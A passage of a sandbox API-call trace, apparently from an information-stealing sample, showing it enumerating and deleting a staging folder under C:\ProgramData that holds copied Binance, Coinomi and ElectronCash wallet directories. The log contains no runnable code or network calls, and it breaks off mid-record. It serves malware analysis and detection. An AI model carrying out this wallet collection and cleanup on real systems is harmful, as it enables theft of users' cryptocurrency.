returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Binance\\" [0149.469] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Binance\\", lpString2=".." | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Binance\\..") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Binance\\.." [0149.469] lstrcpyW (in: lpString1=0x19e07c, lpString2="\\Wallets\\Binance" | out: lpString1="\\Wallets\\Binance") returned="\\Wallets\\Binance" [0149.469] lstrcatW (in: lpString1="\\Wallets\\Binance", lpString2="\\" | out: lpString1="\\Wallets\\Binance\\") returned="\\Wallets\\Binance\\" [0149.469] lstrcatW (in: lpString1="\\Wallets\\Binance\\", lpString2=".." | out: lpString1="\\Wallets\\Binance\\..") returned="\\Wallets\\Binance\\.." [0149.469] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0149.469] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0149.469] FindNextFileW (in: hFindFile=0x882f30, lpFindFileData=0x19dc24 | out: lpFindFileData=0x19dc24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e92f6a6, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4e92f6a6, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4e92f6a6, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0149.469] FindClose (in: hFindFile=0x882f30 | out: hFindFile=0x882f30) returned 1 [0149.469] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x80) returned 0x23636d0 [0149.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Binance", cchWideChar=63, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 63 [0149.469] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x3f) returned 0x32ba738 [0149.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Binance", cchWideChar=63, lpMultiByteStr=0x32ba738, cbMultiByte=63, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Binance", lpUsedDefaultChar=0x0) returned 63 [0149.470] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba5d0 [0149.470] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba738 | out: hHeap=0x2360000) returned 1 [0149.470] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23636d0 | out: hHeap=0x2360000) returned 1 [0149.470] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19ee2c, cbMultiByte=4, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0149.470] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x8) returned 0x2366888 [0149.470] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19ee2c, cbMultiByte=4, lpWideCharStr=0x2366888, cchWideChar=4 | out: lpWideCharStr="*.*") returned 4 [0149.470] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2366888 | out: hHeap=0x2360000) returned 1 [0149.470] PathMatchSpecW (pszFile="Binance", pszSpec="*.*") returned 1 [0149.470] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x80) returned 0x23636d0 [0149.470] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x3340f78 [0149.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Binance", cchWideChar=63, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 63 [0149.470] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x3f) returned 0x32ba618 [0149.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Binance", cchWideChar=63, lpMultiByteStr=0x32ba618, cbMultiByte=63, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Binance", lpUsedDefaultChar=0x0) returned 63 [0149.470] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba4f8 [0149.470] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba618 | out: hHeap=0x2360000) returned 1 [0149.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\Wallets\\Binance", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0149.470] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x11) returned 0x3340e80 [0149.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\Wallets\\Binance", cchWideChar=17, lpMultiByteStr=0x3340e80, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\\Wallets\\Binance", lpUsedDefaultChar=0x0) returned 17 [0149.470] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x33403a8 [0149.470] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340e80 | out: hHeap=0x2360000) returned 1 [0149.470] CreateFileA (lpFileName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Binance" (normalized: "c:\\programdata\\h70j3bxqys8lvfgzf6vkcop1x\\files\\wallets\\binance"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.471] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33403a8 | out: hHeap=0x2360000) returned 1 [0149.471] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba4f8 | out: hHeap=0x2360000) returned 1 [0149.471] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340f78 | out: hHeap=0x2360000) returned 1 [0149.471] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23636d0 | out: hHeap=0x2360000) returned 1 [0149.471] DeleteFileW (lpFileName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Binance" (normalized: "c:\\programdata\\h70j3bxqys8lvfgzf6vkcop1x\\files\\wallets\\binance")) returned 0 [0149.471] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba5d0 | out: hHeap=0x2360000) returned 1 [0149.471] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19e5a4 | out: lpFindFileData=0x19e5a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e92f6a6, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4e92f6a6, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4e92f6a6, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Coinomi", cAlternateFileName="")) returned 1 [0149.471] lstrcpyW (in: lpString1=0x19e7f4, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets" [0149.471] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets", lpString2="\\" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\" [0149.471] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\", lpString2="Coinomi" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Coinomi") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Coinomi" [0149.471] lstrcpyW (in: lpString1=0x19e9fc, lpString2="\\Wallets" | out: lpString1="\\Wallets") returned="\\Wallets" [0149.471] lstrcatW (in: lpString1="\\Wallets", lpString2="\\" | out: lpString1="\\Wallets\\") returned="\\Wallets\\" [0149.471] lstrcatW (in: lpString1="\\Wallets\\", lpString2="Coinomi" | out: lpString1="\\Wallets\\Coinomi") returned="\\Wallets\\Coinomi" [0149.471] lstrcmpW (lpString1="Coinomi", lpString2=".") returned 1 [0149.471] lstrcmpW (lpString1="Coinomi", lpString2="..") returned 1 [0149.471] lstrcpyW (in: lpString1=0x19e284, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Coinomi" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Coinomi") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Coinomi" [0149.472] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Coinomi", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Coinomi\\*.*") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Coinomi\\*.*" [0149.472] FindFirstFileW (in: lpFileName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Coinomi\\*.*", lpFindFileData=0x19dc24 | out: lpFindFileData=0x19dc24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e92f6a6, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4e92f6a6, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4e92f6a6, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8829f0 [0149.472] lstrcpyW (in: lpString1=0x19de74, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Coinomi" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Coinomi") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Coinomi" [0149.472] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Coinomi", lpString2="\\" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Coinomi\\") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Coinomi\\" [0149.472] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Coinomi\\", lpString2="." | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Coinomi\\.") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Coinomi\\." [0149.472] lstrcpyW (in: lpString1=0x19e07c, lpString2="\\Wallets\\Coinomi" | out: lpString1="\\Wallets\\Coinomi") returned="\\Wallets\\Coinomi" [0149.472] lstrcatW (in: lpString1="\\Wallets\\Coinomi", lpString2="\\" | out: lpString1="\\Wallets\\Coinomi\\") returned="\\Wallets\\Coinomi\\" [0149.472] lstrcatW (in: lpString1="\\Wallets\\Coinomi\\", lpString2="." | out: lpString1="\\Wallets\\Coinomi\\.") returned="\\Wallets\\Coinomi\\." [0149.472] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0149.472] FindNextFileW (in: hFindFile=0x8829f0, lpFindFileData=0x19dc24 | out: lpFindFileData=0x19dc24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e92f6a6, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4e92f6a6, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4e92f6a6, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.472] lstrcpyW (in: lpString1=0x19de74, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Coinomi" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Coinomi") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Coinomi" [0149.472] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Coinomi", lpString2="\\" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Coinomi\\") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Coinomi\\" [0149.472] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Coinomi\\", lpString2=".." | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Coinomi\\..") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Coinomi\\.." [0149.472] lstrcpyW (in: lpString1=0x19e07c, lpString2="\\Wallets\\Coinomi" | out: lpString1="\\Wallets\\Coinomi") returned="\\Wallets\\Coinomi" [0149.472] lstrcatW (in: lpString1="\\Wallets\\Coinomi", lpString2="\\" | out: lpString1="\\Wallets\\Coinomi\\") returned="\\Wallets\\Coinomi\\" [0149.473] lstrcatW (in: lpString1="\\Wallets\\Coinomi\\", lpString2=".." | out: lpString1="\\Wallets\\Coinomi\\..") returned="\\Wallets\\Coinomi\\.." [0149.473] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0149.473] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0149.473] FindNextFileW (in: hFindFile=0x8829f0, lpFindFileData=0x19dc24 | out: lpFindFileData=0x19dc24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e92f6a6, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4e92f6a6, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4e92f6a6, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0149.473] FindClose (in: hFindFile=0x8829f0 | out: hFindFile=0x8829f0) returned 1 [0149.473] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x80) returned 0x23697e8 [0149.473] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Coinomi", cchWideChar=63, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 63 [0149.473] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x3f) returned 0x32ba390 [0149.473] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Coinomi", cchWideChar=63, lpMultiByteStr=0x32ba390, cbMultiByte=63, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Coinomi", lpUsedDefaultChar=0x0) returned 63 [0149.473] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba468 [0149.473] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba390 | out: hHeap=0x2360000) returned 1 [0149.473] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23697e8 | out: hHeap=0x2360000) returned 1 [0149.473] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19ee2c, cbMultiByte=4, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0149.473] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x8) returned 0x2366998 [0149.473] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19ee2c, cbMultiByte=4, lpWideCharStr=0x2366998, cchWideChar=4 | out: lpWideCharStr="*.*") returned 4 [0149.473] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2366998 | out: hHeap=0x2360000) returned 1 [0149.473] PathMatchSpecW (pszFile="Coinomi", pszSpec="*.*") returned 1 [0149.474] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x80) returned 0x23695c8 [0149.474] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x3340f78 [0149.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Coinomi", cchWideChar=63, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 63 [0149.474] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x3f) returned 0x32ba6a8 [0149.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Coinomi", cchWideChar=63, lpMultiByteStr=0x32ba6a8, cbMultiByte=63, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Coinomi", lpUsedDefaultChar=0x0) returned 63 [0149.474] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba858 [0149.474] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba6a8 | out: hHeap=0x2360000) returned 1 [0149.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\Wallets\\Coinomi", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0149.474] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x11) returned 0x3340d40 [0149.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\Wallets\\Coinomi", cchWideChar=17, lpMultiByteStr=0x3340d40, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\\Wallets\\Coinomi", lpUsedDefaultChar=0x0) returned 17 [0149.474] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x3340448 [0149.474] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340d40 | out: hHeap=0x2360000) returned 1 [0149.474] CreateFileA (lpFileName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Coinomi" (normalized: "c:\\programdata\\h70j3bxqys8lvfgzf6vkcop1x\\files\\wallets\\coinomi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.474] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340448 | out: hHeap=0x2360000) returned 1 [0149.474] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba858 | out: hHeap=0x2360000) returned 1 [0149.474] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340f78 | out: hHeap=0x2360000) returned 1 [0149.474] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23695c8 | out: hHeap=0x2360000) returned 1 [0149.474] DeleteFileW (lpFileName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Coinomi" (normalized: "c:\\programdata\\h70j3bxqys8lvfgzf6vkcop1x\\files\\wallets\\coinomi")) returned 0 [0149.474] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x2360000) returned 1 [0149.475] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19e5a4 | out: lpFindFileData=0x19e5a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e90d368, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4e90d368, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4e90d368, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ElectronCash", cAlternateFileName="ELECTR~2")) returned 1 [0149.475] lstrcpyW (in: lpString1=0x19e7f4, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets" [0149.475] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets", lpString2="\\" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\" [0149.475] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\", lpString2="ElectronCash" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\ElectronCash") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\ElectronCash" [0149.475] lstrcpyW (in: lpString1=0x19e9fc, lpString2="\\Wallets" | out: lpString1="\\Wallets") returned="\\Wallets" [0149.475] lstrcatW (in: lpString1="\\Wallets", lpString2="\\" | out: lpString1="\\Wallets\\") returned="\\Wallets\\" [0149.475] lstrcatW (in: lpString1="\\Wallets\\", lpString2="ElectronCash" | out: lpString1="\\Wallets\\ElectronCash") returned="\\Wallets\\ElectronCash" [0149.475] lstrcmpW (lpString1="ElectronCash", lpString2=".") returned 1 [0149.475] lstrcmpW (lpString1="ElectronCash", lpString2="..") returned 1 [0149.475] lstrcpyW (in: lpString1=0x19e284, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\ElectronCash" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\ElectronCash") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\ElectronCash" [0149.475] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\ElectronCash", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\ElectronCash\\*.*") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\ElectronCash\\*.*" [0149.475] FindFirstFileW (in: lpFileName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\ElectronCash\\*.*", lpFindFileData=0x19dc24 | out: lpFindFileData=0x19dc24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e90d368, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4e90d368, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4e90d368, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x882c70 [0149.475] lstrcpyW (in: lpString1=0x19de74, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\ElectronCash" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\ElectronCash") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\ElectronCash" [0149.475] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\ElectronCash", lpString2="\\" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\ElectronCash\\") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\ElectronCash\\" [0149.513] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\ElectronCash\\", lpString2="." | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\ElectronCash\\.") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\ElectronCash\\." [0149.513] lstrcpyW (in: lpString1=0x19e07c, lpString2="\\Wallets\\ElectronCash" | out: lpString1="\\Wallets\\ElectronCash") returned="\\Wallets\\ElectronCash" [0149.513] lstrcatW (in: lpString1="\\Wallets\\ElectronCash", lpString2="\\" | out: lpString1="\\Wallets\\ElectronCash\\") returned="\\Wallets\\ElectronCash\\" [0149.513] lstrcatW (in: lpString1="\\Wallets\\ElectronCash\\", lpString2="." | out: lpString1="\\Wallets\\ElectronCash\\.") returned="\\Wallets\\ElectronCash\\." [0149.513] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0149.513] FindNextFileW (in: hFindFile=0x882c70, lpFindFileData=0x19dc24 | out: lpFindFileData=0x19dc24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e90d368, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4e90d368, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4e90d368, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.513] lstrcpyW (in: lpString1=0x19de74, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\ElectronCash" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\ElectronCash") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\ElectronCash" [0149.514] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\ElectronCash", lpString2="\\" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\ElectronCash\\") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\ElectronCash\\" [0149.514] lstrcatW (in: 